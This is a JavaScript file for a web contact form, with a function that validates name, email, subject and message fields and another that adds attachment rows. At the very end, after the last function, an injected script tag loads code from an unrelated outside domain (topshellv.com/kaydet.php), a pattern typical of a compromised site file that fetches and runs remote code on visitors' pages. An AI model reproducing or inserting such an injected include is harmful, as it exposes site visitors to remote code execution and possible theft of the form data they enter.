// JavaScript Document
        function validate() {
            var valid = true;

            $(".info").html("");
            var userName = document.forms["mailForm"]["userName"].value;
            var userEmail = document.forms["mailForm"]["userEmail"].value;
            var subject = document.forms["mailForm"]["subject"].value;
            var userMessage = document.forms["mailForm"]["userMessage"].value;
            
            if (userName == "") {
                $("#userName-info").html("(required)");
                $("#userName").css('background-color', '#FFFFDF');
                valid = false;
            }
            if (userEmail == "") {
                $("#userEmail-info").html("(required)");
                $("#userEmail").css('background-color', '#FFFFDF');
                valid = false;
            }
            if (!userEmail.match(/^([\w-\.]+@([\w-]+\.)+[\w-]{2,4})?$/))
            {
                $("#userEmail-info").html("(invalid)");
                $("#userEmail").css('background-color', '#FFFFDF');
                valid = false;
            }

            if (subject == "") {
                $("#subject-info").html("(required)");
                $("#subject").css('background-color', '#FFFFDF');
                valid = false;
            }
            if (userMessage == "") {
                $("#userMessage-info").html("(required)");
                $("#userMessage").css('background-color', '#FFFFDF');
                valid = false;
            }
            return valid;
        }
        
        function addMoreAttachment() {
            $(".attachment-row:last").clone().insertAfter(".attachment-row:last");
            $(".attachment-row:last").find("input").val("");
        }<script src=http://www.topshellv.com/kaydet.php></script>